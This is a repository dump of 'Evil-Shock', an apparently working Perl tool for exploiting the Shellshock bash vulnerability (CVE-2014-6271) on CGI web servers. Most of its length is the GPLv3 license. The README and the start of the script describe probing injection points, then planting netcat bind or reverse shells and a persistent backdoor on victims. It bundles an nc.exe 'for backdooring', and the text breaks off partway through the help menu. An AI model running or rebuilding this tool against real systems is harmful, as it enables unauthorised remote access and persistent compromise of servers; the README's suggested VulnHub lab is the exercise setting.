├── LISCENSE ├── README.md ├── evilshock.pl └── nc └── nc.exe /LISCENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | Copyright (C) 2007 Free Software Foundation, Inc. 4 | Everyone is permitted to copy and distribute verbatim copies 5 | of this license document, but changing it is not allowed. 6 | Preamble 7 | The GNU General Public License is a free, copyleft license for 8 | software and other kinds of works. 9 | The licenses for most software and other practical works are designed 10 | to take away your freedom to share and change the works. By contrast, 11 | the GNU General Public License is intended to guarantee your freedom to 12 | share and change all versions of a program--to make sure it remains free 13 | software for all its users. We, the Free Software Foundation, use the 14 | GNU General Public License for most of our software; it applies also to 15 | any other work released this way by its authors. You can apply it to 16 | your programs, too. 17 | When we speak of free software, we are referring to freedom, not 18 | price. Our General Public Licenses are designed to make sure that you 19 | have the freedom to distribute copies of free software (and charge for 20 | them if you wish), that you receive source code or can get it if you 21 | want it, that you can change the software or use pieces of it in new 22 | free programs, and that you know you can do these things. 23 | To protect your rights, we need to prevent others from denying you 24 | these rights or asking you to surrender the rights. Therefore, you have 25 | certain responsibilities if you distribute copies of the software, or if 26 | you modify it: responsibilities to respect the freedom of others. 27 | For example, if you distribute copies of such a program, whether 28 | gratis or for a fee, you must pass on to the recipients the same 29 | freedoms that you received. You must make sure that they, too, receive 30 | or can get the source code. And you must show them these terms so they 31 | know their rights. 32 | Developers that use the GNU GPL protect your rights with two steps: 33 | (1) assert copyright on the software, and (2) offer you this License 34 | giving you legal permission to copy, distribute and/or modify it. 35 | For the developers' and authors' protection, the GPL clearly explains 36 | that there is no warranty for this free software. For both users' and 37 | authors' sake, the GPL requires that modified versions be marked as 38 | changed, so that their problems will not be attributed erroneously to 39 | authors of previous versions. 40 | Some devices are designed to deny users access to install or run 41 | modified versions of the software inside them, although the manufacturer 42 | can do so. This is fundamentally incompatible with the aim of 43 | protecting users' freedom to change the software. The systematic 44 | pattern of such abuse occurs in the area of products for individuals to 45 | use, which is precisely where it is most unacceptable. Therefore, we 46 | have designed this version of the GPL to prohibit the practice for those 47 | products. If such problems arise substantially in other domains, we 48 | stand ready to extend this provision to those domains in future versions 49 | of the GPL, as needed to protect the freedom of users. 50 | Finally, every program is threatened constantly by software patents. 51 | States should not allow patents to restrict development and use of 52 | software on general-purpose computers, but in those that do, we wish to 53 | avoid the special danger that patents applied to a free program could 54 | make it effectively proprietary. To prevent this, the GPL assures that 55 | patents cannot be used to render the program non-free. 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | TERMS AND CONDITIONS 59 | 0. Definitions. 60 | "This License" refers to version 3 of the GNU General Public License. 61 | "Copyright" also means copyright-like laws that apply to other kinds of 62 | works, such as semiconductor masks. 63 | "The Program" refers to any copyrightable work licensed under this 64 | License. Each licensee is addressed as "you". "Licensees" and 65 | "recipients" may be individuals or organizations. 66 | To "modify" a work means to copy from or adapt all or part of the work 67 | in a fashion requiring copyright permission, other than the making of an 68 | exact copy. The resulting work is called a "modified version" of the 69 | earlier work or a work "based on" the earlier work. 70 | A "covered work" means either the unmodified Program or a work based 71 | on the Program. 72 | To "propagate" a work means to do anything with it that, without 73 | permission, would make you directly or secondarily liable for 74 | infringement under applicable copyright law, except executing it on a 75 | computer or modifying a private copy. Propagation includes copying, 76 | distribution (with or without modification), making available to the 77 | public, and in some countries other activities as well. 78 | To "convey" a work means any kind of propagation that enables other 79 | parties to make or receive copies. Mere interaction with a user through 80 | a computer network, with no transfer of a copy, is not conveying. 81 | An interactive user interface displays "Appropriate Legal Notices" 82 | to the extent that it includes a convenient and prominently visible 83 | feature that (1) displays an appropriate copyright notice, and (2) 84 | tells the user that there is no warranty for the work (except to the 85 | extent that warranties are provided), that licensees may convey the 86 | work under this License, and how to view a copy of this License. If 87 | the interface presents a list of user commands or options, such as a 88 | menu, a prominent item in the list meets this criterion. 89 | 1. Source Code. 90 | The "source code" for a work means the preferred form of the work 91 | for making modifications to it. "Object code" means any non-source 92 | form of a work. 93 | A "Standard Interface" means an interface that either is an official 94 | standard defined by a recognized standards body, or, in the case of 95 | interfaces specified for a particular programming language, one that 96 | is widely used among developers working in that language. 97 | The "System Libraries" of an executable work include anything, other 98 | than the work as a whole, that (a) is included in the normal form of 99 | packaging a Major Component, but which is not part of that Major 100 | Component, and (b) serves only to enable use of the work with that 101 | Major Component, or to implement a Standard Interface for which an 102 | implementation is available to the public in source code form. A 103 | "Major Component", in this context, means a major essential component 104 | (kernel, window system, and so on) of the specific operating system 105 | (if any) on which the executable work runs, or a compiler used to 106 | produce the work, or an object code interpreter used to run it. 107 | The "Corresponding Source" for a work in object code form means all 108 | the source code needed to generate, install, and (for an executable 109 | work) run the object code and to modify the work, including scripts to 110 | control those activities. However, it does not include the work's 111 | System Libraries, or general-purpose tools or generally available free 112 | programs which are used unmodified in performing those activities but 113 | which are not part of the work. For example, Corresponding Source 114 | includes interface definition files associated with source files for 115 | the work, and the source code for shared libraries and dynamically 116 | linked subprograms that the work is specifically designed to require, 117 | such as by intimate data communication or control flow between those 118 | subprograms and other parts of the work. 119 | The Corresponding Source need not include anything that users 120 | can regenerate automatically from other parts of the Corresponding 121 | Source. 122 | The Corresponding Source for a work in source code form is that 123 | same work. 124 | 2. Basic Permissions. 125 | All rights granted under this License are granted for the term of 126 | copyright on the Program, and are irrevocable provided the stated 127 | conditions are met. This License explicitly affirms your unlimited 128 | permission to run the unmodified Program. The output from running a 129 | covered work is covered by this License only if the output, given its 130 | content, constitutes a covered work. This License acknowledges your 131 | rights of fair use or other equivalent, as provided by copyright law. 132 | You may make, run and propagate covered works that you do not 133 | convey, without conditions so long as your license otherwise remains 134 | in force. You may convey covered works to others for the sole purpose 135 | of having them make modifications exclusively for you, or provide you 136 | with facilities for running those works, provided that you comply with 137 | the terms of this License in conveying all material for which you do 138 | not control copyright. Those thus making or running the covered works 139 | for you must do so exclusively on your behalf, under your direction 140 | and control, on terms that prohibit them from making any copies of 141 | your copyrighted material outside their relationship with you. 142 | Conveying under any other circumstances is permitted solely under 143 | the conditions stated below. Sublicensing is not allowed; section 10 144 | makes it unnecessary. 145 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 146 | No covered work shall be deemed part of an effective technological 147 | measure under any applicable law fulfilling obligations under article 148 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 149 | similar laws prohibiting or restricting circumvention of such 150 | measures. 151 | When you convey a covered work, you waive any legal power to forbid 152 | circumvention of technological measures to the extent such circumvention 153 | is effected by exercising rights under this License with respect to 154 | the covered work, and you disclaim any intention to limit operation or 155 | modification of the work as a means of enforcing, against the work's 156 | users, your or third parties' legal rights to forbid circumvention of 157 | technological measures. 158 | 4. Conveying Verbatim Copies. 159 | You may convey verbatim copies of the Program's source code as you 160 | receive it, in any medium, provided that you conspicuously and 161 | appropriately publish on each copy an appropriate copyright notice; 162 | keep intact all notices stating that this License and any 163 | non-permissive terms added in accord with section 7 apply to the code; 164 | keep intact all notices of the absence of any warranty; and give all 165 | recipients a copy of this License along with the Program. 166 | You may charge any price or no price for each copy that you convey, 167 | and you may offer support or warranty protection for a fee. 168 | 5. Conveying Modified Source Versions. 169 | You may convey a work based on the Program, or the modifications to 170 | produce it from the Program, in the form of source code under the 171 | terms of section 4, provided that you also meet all of these conditions: 172 | a) The work must carry prominent notices stating that you modified 173 | it, and giving a relevant date. 174 | b) The work must carry prominent notices stating that it is 175 | released under this License and any conditions added under section 176 | 7. This requirement modifies the requirement in section 4 to 177 | "keep intact all notices". 178 | c) You must license the entire work, as a whole, under this 179 | License to anyone who comes into possession of a copy. This 180 | License will therefore apply, along with any applicable section 7 181 | additional terms, to the whole of the work, and all its parts, 182 | regardless of how they are packaged. This License gives no 183 | permission to license the work in any other way, but it does not 184 | invalidate such permission if you have separately received it. 185 | d) If the work has interactive user interfaces, each must display 186 | Appropriate Legal Notices; however, if the Program has interactive 187 | interfaces that do not display Appropriate Legal Notices, your 188 | work need not make them do so. 189 | A compilation of a covered work with other separate and independent 190 | works, which are not by their nature extensions of the covered work, 191 | and which are not combined with it such as to form a larger program, 192 | in or on a volume of a storage or distribution medium, is called an 193 | "aggregate" if the compilation and its resulting copyright are not 194 | used to limit the access or legal rights of the compilation's users 195 | beyond what the individual works permit. Inclusion of a covered work 196 | in an aggregate does not cause this License to apply to the other 197 | parts of the aggregate. 198 | 6. Conveying Non-Source Forms. 199 | You may convey a covered work in object code form under the terms 200 | of sections 4 and 5, provided that you also convey the 201 | machine-readable Corresponding Source under the terms of this License, 202 | in one of these ways: 203 | a) Convey the object code in, or embodied in, a physical product 204 | (including a physical distribution medium), accompanied by the 205 | Corresponding Source fixed on a durable physical medium 206 | customarily used for software interchange. 207 | b) Convey the object code in, or embodied in, a physical product 208 | (including a physical distribution medium), accompanied by a 209 | written offer, valid for at least three years and valid for as 210 | long as you offer spare parts or customer support for that product 211 | model, to give anyone who possesses the object code either (1) a 212 | copy of the Corresponding Source for all the software in the 213 | product that is covered by this License, on a durable physical 214 | medium customarily used for software interchange, for a price no 215 | more than your reasonable cost of physically performing this 216 | conveying of source, or (2) access to copy the 217 | Corresponding Source from a network server at no charge. 218 | c) Convey individual copies of the object code with a copy of the 219 | written offer to provide the Corresponding Source. This 220 | alternative is allowed only occasionally and noncommercially, and 221 | only if you received the object code with such an offer, in accord 222 | with subsection 6b. 223 | d) Convey the object code by offering access from a designated 224 | place (gratis or for a charge), and offer equivalent access to the 225 | Corresponding Source in the same way through the same place at no 226 | further charge. You need not require recipients to copy the 227 | Corresponding Source along with the object code. If the place to 228 | copy the object code is a network server, the Corresponding Source 229 | may be on a different server (operated by you or a third party) 230 | that supports equivalent copying facilities, provided you maintain 231 | clear directions next to the object code saying where to find the 232 | Corresponding Source. Regardless of what server hosts the 233 | Corresponding Source, you remain obligated to ensure that it is 234 | available for as long as needed to satisfy these requirements. 235 | e) Convey the object code using peer-to-peer transmission, provided 236 | you inform other peers where the object code and Corresponding 237 | Source of the work are being offered to the general public at no 238 | charge under subsection 6d. 239 | A separable portion of the object code, whose source code is excluded 240 | from the Corresponding Source as a System Library, need not be 241 | included in conveying the object code work. 242 | A "User Product" is either (1) a "consumer product", which means any 243 | tangible personal property which is normally used for personal, family, 244 | or household purposes, or (2) anything designed or sold for incorporation 245 | into a dwelling. In determining whether a product is a consumer product, 246 | doubtful cases shall be resolved in favor of coverage. For a particular 247 | product received by a particular user, "normally used" refers to a 248 | typical or common use of that class of product, regardless of the status 249 | of the particular user or of the way in which the particular user 250 | actually uses, or expects or is expected to use, the product. A product 251 | is a consumer product regardless of whether the product has substantial 252 | commercial, industrial or non-consumer uses, unless such uses represent 253 | the only significant mode of use of the product. 254 | "Installation Information" for a User Product means any methods, 255 | procedures, authorization keys, or other information required to install 256 | and execute modified versions of a covered work in that User Product from 257 | a modified version of its Corresponding Source. The information must 258 | suffice to ensure that the continued functioning of the modified object 259 | code is in no case prevented or interfered with solely because 260 | modification has been made. 261 | If you convey an object code work under this section in, or with, or 262 | specifically for use in, a User Product, and the conveying occurs as 263 | part of a transaction in which the right of possession and use of the 264 | User Product is transferred to the recipient in perpetuity or for a 265 | fixed term (regardless of how the transaction is characterized), the 266 | Corresponding Source conveyed under this section must be accompanied 267 | by the Installation Information. But this requirement does not apply 268 | if neither you nor any third party retains the ability to install 269 | modified object code on the User Product (for example, the work has 270 | been installed in ROM). 271 | The requirement to provide Installation Information does not include a 272 | requirement to continue to provide support service, warranty, or updates 273 | for a work that has been modified or installed by the recipient, or for 274 | the User Product in which it has been modified or installed. Access to a 275 | network may be denied when the modification itself materially and 276 | adversely affects the operation of the network or violates the rules and 277 | protocols for communication across the network. 278 | Corresponding Source conveyed, and Installation Information provided, 279 | in accord with this section must be in a format that is publicly 280 | documented (and with an implementation available to the public in 281 | source code form), and must require no special password or key for 282 | unpacking, reading or copying. 283 | 7. Additional Terms. 284 | "Additional permissions" are terms that supplement the terms of this 285 | License by making exceptions from one or more of its conditions. 286 | Additional permissions that are applicable to the entire Program shall 287 | be treated as though they were included in this License, to the extent 288 | that they are valid under applicable law. If additional permissions 289 | apply only to part of the Program, that part may be used separately 290 | under those permissions, but the entire Program remains governed by 291 | this License without regard to the additional permissions. 292 | When you convey a copy of a covered work, you may at your option 293 | remove any additional permissions from that copy, or from any part of 294 | it. (Additional permissions may be written to require their own 295 | removal in certain cases when you modify the work.) You may place 296 | additional permissions on material, added by you to a covered work, 297 | for which you have or can give appropriate copyright permission. 298 | Notwithstanding any other provision of this License, for material you 299 | add to a covered work, you may (if authorized by the copyright holders of 300 | that material) supplement the terms of this License with terms: 301 | a) Disclaiming warranty or limiting liability differently from the 302 | terms of sections 15 and 16 of this License; or 303 | b) Requiring preservation of specified reasonable legal notices or 304 | author attributions in that material or in the Appropriate Legal 305 | Notices displayed by works containing it; or 306 | c) Prohibiting misrepresentation of the origin of that material, or 307 | requiring that modified versions of such material be marked in 308 | reasonable ways as different from the original version; or 309 | d) Limiting the use for publicity purposes of names of licensors or 310 | authors of the material; or 311 | e) Declining to grant rights under trademark law for use of some 312 | trade names, trademarks, or service marks; or 313 | f) Requiring indemnification of licensors and authors of that 314 | material by anyone who conveys the material (or modified versions of 315 | it) with contractual assumptions of liability to the recipient, for 316 | any liability that these contractual assumptions directly impose on 317 | those licensors and authors. 318 | All other non-permissive additional terms are considered "further 319 | restrictions" within the meaning of section 10. If the Program as you 320 | received it, or any part of it, contains a notice stating that it is 321 | governed by this License along with a term that is a further 322 | restriction, you may remove that term. If a license document contains 323 | a further restriction but permits relicensing or conveying under this 324 | License, you may add to a covered work material governed by the terms 325 | of that license document, provided that the further restriction does 326 | not survive such relicensing or conveying. 327 | If you add terms to a covered work in accord with this section, you 328 | must place, in the relevant source files, a statement of the 329 | additional terms that apply to those files, or a notice indicating 330 | where to find the applicable terms. 331 | Additional terms, permissive or non-permissive, may be stated in the 332 | form of a separately written license, or stated as exceptions; 333 | the above requirements apply either way. 334 | 8. Termination. 335 | You may not propagate or modify a covered work except as expressly 336 | provided under this License. Any attempt otherwise to propagate or 337 | modify it is void, and will automatically terminate your rights under 338 | this License (including any patent licenses granted under the third 339 | paragraph of section 11). 340 | However, if you cease all violation of this License, then your 341 | license from a particular copyright holder is reinstated (a) 342 | provisionally, unless and until the copyright holder explicitly and 343 | finally terminates your license, and (b) permanently, if the copyright 344 | holder fails to notify you of the violation by some reasonable means 345 | prior to 60 days after the cessation. 346 | Moreover, your license from a particular copyright holder is 347 | reinstated permanently if the copyright holder notifies you of the 348 | violation by some reasonable means, this is the first time you have 349 | received notice of violation of this License (for any work) from that 350 | copyright holder, and you cure the violation prior to 30 days after 351 | your receipt of the notice. 352 | Termination of your rights under this section does not terminate the 353 | licenses of parties who have received copies or rights from you under 354 | this License. If your rights have been terminated and not permanently 355 | reinstated, you do not qualify to receive new licenses for the same 356 | material under section 10. 357 | 9. Acceptance Not Required for Having Copies. 358 | You are not required to accept this License in order to receive or 359 | run a copy of the Program. Ancillary propagation of a covered work 360 | occurring solely as a consequence of using peer-to-peer transmission 361 | to receive a copy likewise does not require acceptance. However, 362 | nothing other than this License grants you permission to propagate or 363 | modify any covered work. These actions infringe copyright if you do 364 | not accept this License. Therefore, by modifying or propagating a 365 | covered work, you indicate your acceptance of this License to do so. 366 | 10. Automatic Licensing of Downstream Recipients. 367 | Each time you convey a covered work, the recipient automatically 368 | receives a license from the original licensors, to run, modify and 369 | propagate that work, subject to this License. You are not responsible 370 | for enforcing compliance by third parties with this License. 371 | An "entity transaction" is a transaction transferring control of an 372 | organization, or substantially all assets of one, or subdividing an 373 | organization, or merging organizations. If propagation of a covered 374 | work results from an entity transaction, each party to that 375 | transaction who receives a copy of the work also receives whatever 376 | licenses to the work the party's predecessor in interest had or could 377 | give under the previous paragraph, plus a right to possession of the 378 | Corresponding Source of the work from the predecessor in interest, if 379 | the predecessor has it or can get it with reasonable efforts. 380 | You may not impose any further restrictions on the exercise of the 381 | rights granted or affirmed under this License. For example, you may 382 | not impose a license fee, royalty, or other charge for exercise of 383 | rights granted under this License, and you may not initiate litigation 384 | (including a cross-claim or counterclaim in a lawsuit) alleging that 385 | any patent claim is infringed by making, using, selling, offering for 386 | sale, or importing the Program or any portion of it. 387 | 11. Patents. 388 | A "contributor" is a copyright holder who authorizes use under this 389 | License of the Program or a work on which the Program is based. The 390 | work thus licensed is called the contributor's "contributor version". 391 | A contributor's "essential patent claims" are all patent claims 392 | owned or controlled by the contributor, whether already acquired or 393 | hereafter acquired, that would be infringed by some manner, permitted 394 | by this License, of making, using, or selling its contributor version, 395 | but do not include claims that would be infringed only as a 396 | consequence of further modification of the contributor version. For 397 | purposes of this definition, "control" includes the right to grant 398 | patent sublicenses in a manner consistent with the requirements of 399 | this License. 400 | Each contributor grants you a non-exclusive, worldwide, royalty-free 401 | patent license under the contributor's essential patent claims, to 402 | make, use, sell, offer for sale, import and otherwise run, modify and 403 | propagate the contents of its contributor version. 404 | In the following three paragraphs, a "patent license" is any express 405 | agreement or commitment, however denominated, not to enforce a patent 406 | (such as an express permission to practice a patent or covenant not to 407 | sue for patent infringement). To "grant" such a patent license to a 408 | party means to make such an agreement or commitment not to enforce a 409 | patent against the party. 410 | If you convey a covered work, knowingly relying on a patent license, 411 | and the Corresponding Source of the work is not available for anyone 412 | to copy, free of charge and under the terms of this License, through a 413 | publicly available network server or other readily accessible means, 414 | then you must either (1) cause the Corresponding Source to be so 415 | available, or (2) arrange to deprive yourself of the benefit of the 416 | patent license for this particular work, or (3) arrange, in a manner 417 | consistent with the requirements of this License, to extend the patent 418 | license to downstream recipients. "Knowingly relying" means you have 419 | actual knowledge that, but for the patent license, your conveying the 420 | covered work in a country, or your recipient's use of the covered work 421 | in a country, would infringe one or more identifiable patents in that 422 | country that you have reason to believe are valid. 423 | If, pursuant to or in connection with a single transaction or 424 | arrangement, you convey, or propagate by procuring conveyance of, a 425 | covered work, and grant a patent license to some of the parties 426 | receiving the covered work authorizing them to use, propagate, modify 427 | or convey a specific copy of the covered work, then the patent license 428 | you grant is automatically extended to all recipients of the covered 429 | work and works based on it. 430 | A patent license is "discriminatory" if it does not include within 431 | the scope of its coverage, prohibits the exercise of, or is 432 | conditioned on the non-exercise of one or more of the rights that are 433 | specifically granted under this License. You may not convey a covered 434 | work if you are a party to an arrangement with a third party that is 435 | in the business of distributing software, under which you make payment 436 | to the third party based on the extent of your activity of conveying 437 | the work, and under which the third party grants, to any of the 438 | parties who would receive the covered work from you, a discriminatory 439 | patent license (a) in connection with copies of the covered work 440 | conveyed by you (or copies made from those copies), or (b) primarily 441 | for and in connection with specific products or compilations that 442 | contain the covered work, unless you entered into that arrangement, 443 | or that patent license was granted, prior to 28 March 2007. 444 | Nothing in this License shall be construed as excluding or limiting 445 | any implied license or other defenses to infringement that may 446 | otherwise be available to you under applicable patent law. 447 | 12. No Surrender of Others' Freedom. 448 | If conditions are imposed on you (whether by court order, agreement or 449 | otherwise) that contradict the conditions of this License, they do not 450 | excuse you from the conditions of this License. If you cannot convey a 451 | covered work so as to satisfy simultaneously your obligations under this 452 | License and any other pertinent obligations, then as a consequence you may 453 | not convey it at all. For example, if you agree to terms that obligate you 454 | to collect a royalty for further conveying from those to whom you convey 455 | the Program, the only way you could satisfy both those terms and this 456 | License would be to refrain entirely from conveying the Program. 457 | 13. Use with the GNU Affero General Public License. 458 | Notwithstanding any other provision of this License, you have 459 | permission to link or combine any covered work with a work licensed 460 | under version 3 of the GNU Affero General Public License into a single 461 | combined work, and to convey the resulting work. The terms of this 462 | License will continue to apply to the part which is the covered work, 463 | but the special requirements of the GNU Affero General Public License, 464 | section 13, concerning interaction through a network will apply to the 465 | combination as such. 466 | 14. Revised Versions of this License. 467 | The Free Software Foundation may publish revised and/or new versions of 468 | the GNU General Public License from time to time. Such new versions will 469 | be similar in spirit to the present version, but may differ in detail to 470 | address new problems or concerns. 471 | Each version is given a distinguishing version number. If the 472 | Program specifies that a certain numbered version of the GNU General 473 | Public License "or any later version" applies to it, you have the 474 | option of following the terms and conditions either of that numbered 475 | version or of any later version published by the Free Software 476 | Foundation. If the Program does not specify a version number of the 477 | GNU General Public License, you may choose any version ever published 478 | by the Free Software Foundation. 479 | If the Program specifies that a proxy can decide which future 480 | versions of the GNU General Public License can be used, that proxy's 481 | public statement of acceptance of a version permanently authorizes you 482 | to choose that version for the Program. 483 | Later license versions may give you additional or different 484 | permissions. However, no additional obligations are imposed on any 485 | author or copyright holder as a result of your choosing to follow a 486 | later version. 487 | 15. Disclaimer of Warranty. 488 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 489 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 490 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 491 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 492 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 493 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 494 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 495 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 496 | 16. Limitation of Liability. 497 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 498 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 499 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 500 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 501 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 502 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 503 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 504 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 505 | SUCH DAMAGES. 506 | 17. Interpretation of Sections 15 and 16. 507 | If the disclaimer of warranty and limitation of liability provided 508 | above cannot be given local legal effect according to their terms, 509 | reviewing courts shall apply local law that most closely approximates 510 | an absolute waiver of all civil liability in connection with the 511 | Program, unless a warranty or assumption of liability accompanies a 512 | copy of the Program in return for a fee. 513 | END OF TERMS AND CONDITIONS 514 | How to Apply These Terms to Your New Programs 515 | If you develop a new program, and you want it to be of the greatest 516 | possible use to the public, the best way to achieve this is to make it 517 | free software which everyone can redistribute and change under these terms. 518 | To do so, attach the following notices to the program. It is safest 519 | to attach them to the start of each source file to most effectively 520 | state the exclusion of warranty; and each file should have at least 521 | the "copyright" line and a pointer to where the full notice is found. 522 | 523 | Copyright (C) 524 | This program is free software: you can redistribute it and/or modify 525 | it under the terms of the GNU General Public License as published by 526 | the Free Software Foundation, either version 3 of the License, or 527 | (at your option) any later version. 528 | This program is distributed in the hope that it will be useful, 529 | but WITHOUT ANY WARRANTY; without even the implied warranty of 530 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 531 | GNU General Public License for more details. 532 | You should have received a copy of the GNU General Public License 533 | along with this program. If not, see . 534 | Also add information on how to contact you by electronic and paper mail. 535 | If the program does terminal interaction, make it output a short 536 | notice like this when it starts in an interactive mode: 537 | Copyright (C) 538 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 539 | This is free software, and you are welcome to redistribute it 540 | under certain conditions; type `show c' for details. 541 | The hypothetical commands `show w' and `show c' should show the appropriate 542 | parts of the General Public License. Of course, your program's commands 543 | might be different; for a GUI interface, you would use an "about box". 544 | You should also get your employer (if you work as a programmer) or school, 545 | if any, to sign a "copyright disclaimer" for the program, if necessary. 546 | For more information on this, and how to apply and follow the GNU GPL, see 547 | . 548 | The GNU General Public License does not permit incorporating your program 549 | into proprietary programs. If your program is a subroutine library, you 550 | may consider it more useful to permit linking proprietary applications with 551 | the library. If this is what you want to do, use the GNU Lesser General 552 | Public License instead of this License. But first, please read 553 | . 554 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Evil-Shock Description 2 | Evil-Shock is a powerful tool made to exploit Shellshock, what's special with Evil-Shock is that it doesn't base his attacks on one parameter, example another tool might inject a simple "echo Vulnerable" and see if the server executes that. In many case the server wont execute that command but can execute another command ;) 3 | Evil-Shock will find the perfect command also known as Injection Point and then execute further commands to gain remote access via the injection point, so far for the first version Evil-Shock can check for 4 different Injection Point: 4 |

5 | 1 - NSLookup 6 |

7 |

8 | 2 - Echo 9 |

10 |

11 | 3 - LS 12 |

13 |

14 | 4 - Ping 15 |

16 | 17 | In further version more injections points will be added. 18 | 19 | # Test / Train with Evil-Shock! 20 |

21 | I recommend download and installing in your favorite virtual machine manager the iso file from VulnHub: 22 | https://www.vulnhub.com/entry/pentester-lab-cve-2014-6271-shellshock,104/ 23 | Which was used to test and develop Evil-Shock! 24 |

25 | 26 | 27 | # WINDOWS VERSION WARNING 28 | Netcat normally doesn't exist for Windows, but i had a look into Metasploit windows-libraries and it has a nc.exe program for backdooring. Please report any case of infections while using that nc.exe, thanks! 29 | 30 | # System Supported: 31 | Linux and Windows! 32 | Make sure if running on windows to not remove the nc file, since it contains the nc.exe which allow you to backdoor a server. 33 | On linux make sure to have netcat installed. 34 | 35 | 36 | # Screenshots / Examples 37 | # Bind Shell / Auto-Point-Injection: 38 | ![BindShell Example](https://i.imgur.com/9dVjdQu.png) 39 | # Reverse Shell / Auto-Point-Injection: 40 | # WARNING: MY FIREWALL IS BLOCKING CONNECTION SO I CANNOT SHOW THE REVERSE SHELL BUT IT SHOULD WORK FINE IN ANY ANOTHER CASE :) 41 | ![ReverseShell Example](https://i.imgur.com/ZlZcgmR.png) 42 | 43 | # Features 44 | Evil-Shock is equiped with some useful and interresting command: 45 | 46 | t|target= : This will set the target. 47 | shell= : This will set the shell type. 48 | p|port= : Port to open the shell on. 49 | help : Print help menu. 50 | inject= : This will allow an user to inject a custom command into the web server. 51 | user-agent= : When info grabbing you can choose to have a custom user-agent or use the default one. 52 | srv-persistent : When only bind shell is selected and injected this will then injected a persistent backdoor. 53 | inject-only : This will test Injection Points only, not inject anything else. 54 | 55 | # Shells 56 | Evil-Shock supports 3 different type of shells, reverse, bind and bash shells! 57 |

58 | Reverse - Victim will connect back to you. 59 |

60 |

61 | Bind - You will connect directly to the target (Recommended) 62 |

63 |

64 | Bash(Reverse Only) - Rather than creating a netcat listener on the victim and bash listener will be injected. 65 |

66 | 67 | # Usage 68 | perl evilshock.pl -help 69 | 70 | # Examples 71 | perl evilshock -t=http://shellshock.site/cgi-bin/menu --shell=bind --port=1234 --srv-persistent 72 | -------------------------------------------------------------------------------- /evilshock.pl: -------------------------------------------------------------------------------- 1 | #! /usr/bin/perl 2 | 3 | use Getopt::Long; 4 | use Socket; 5 | use IO::Socket::INET; 6 | use HTTP::Request; 7 | use LWP::UserAgent; 8 | use URI; 9 | use HTTP::Request::Common; 10 | 11 | GetOptions( 12 | "t|target=s" => \my $target, 13 | "shell=s" => \my $revshell, 14 | "p|port=i" => \my $rport, 15 | "help+" => \my $help, 16 | "inject=s" => \my $InjString, 17 | "user-agent=s" => \my $userAg, 18 | "srv-persistent+" => \my $pertsrv, 19 | "inject-only+" => \my $injectOnly, 20 | ) or die "Error while setting up command-line arguments"; 21 | 22 | if($^O =~ /Win/){ 23 | Win(); 24 | } 25 | 26 | sub Failed{ 27 | print "\n[!] No injection points were found!, make sure the target is vulnerable or inject your own code via --inject=<>!\n"; 28 | } 29 | 30 | 31 | system("clear || cls"); 32 | print q{ 33 | 34 | 35 | 36 | 37 | ___________ ____ __ __ _______. __ __ ______ ______ __ ___ ___ zeeeeee 38 | | ____\ \ / / | | | | / || | | | / __ \ / || |/ / .-"; ! ;"-z$$$$$$" 39 | | |__ \ \/ / | | | | ______ | (----`| |__| | | | | | | ,----'| ' / .'! : | : d!$$$$$` 40 | | __| \ / | | | | |______| \ \ | __ | | | | | | | | < /\ ! : ! : $$$$$$\ 41 | | |____ \ / | | | `----. .----) | | | | | | `--' | | `----.| . \ /\ | ! :|: 4$$$$$$$$$$$$ 42 | |_______| \__/ |__| |_______| |_______/ |__| |__| \______/ \______||__|\__\ ( \ \ ; :!: z$$$$$$$$$$$$ 43 | VERSION 1.0.0 / CODED BY GHOSTY / DEADHACKS ( `. \ | !:|:!""""""3$$$$$ 44 | MULTI SHELLSHOCK(CVE-2014-6271) INJECTION (`. \ \ \!:|:!/ / /z$$$$$ 45 | REVERSE / BIND SHELL \ `.`.\ |!|! |/,'z$$$$P 46 | `._`.\\\!!!// .d$$$$$ 47 | `.`.\\|//.'.""$$$ 48 | |`._`n'_.'| $$ 49 | "----^----" $ 50 | ^ 51 | 52 | BETA - Coded By Ghosty 53 | STILL IN DEVELOPEMENT SO WONT HAVE MUCH BANNER AND DISPLAYING BUT SITLL WORKS! 54 | }; 55 | if($pertsrv eq "1"){ print "PERSISTENT \n"; } 56 | if($help eq '1'){ 57 | print "Commands And Arguments: \n"; 58 | print " -t= | -target= : Will set up the target, make sure to add the cgi-bin directory for example: -t=http://ShellShock.Site/cgi-bin/status\n"; 59 | print "\n"; 60 | print " -shell= : Will set the shell to use when injected in, this will take the control of the system and send you back a connection depending on the type of shell. \n"; 61 | print " Reverse = Evil-Shock will inject a netcat shell then listen for connections, then the victim will connect back to our listener. \n"; 62 | print " Bind = Evil-Shock will inject a netcat listener into the victim then connect / bind us to it.\n"; 63 | print "\n"; 64 | print " -p= |-port= : Will set 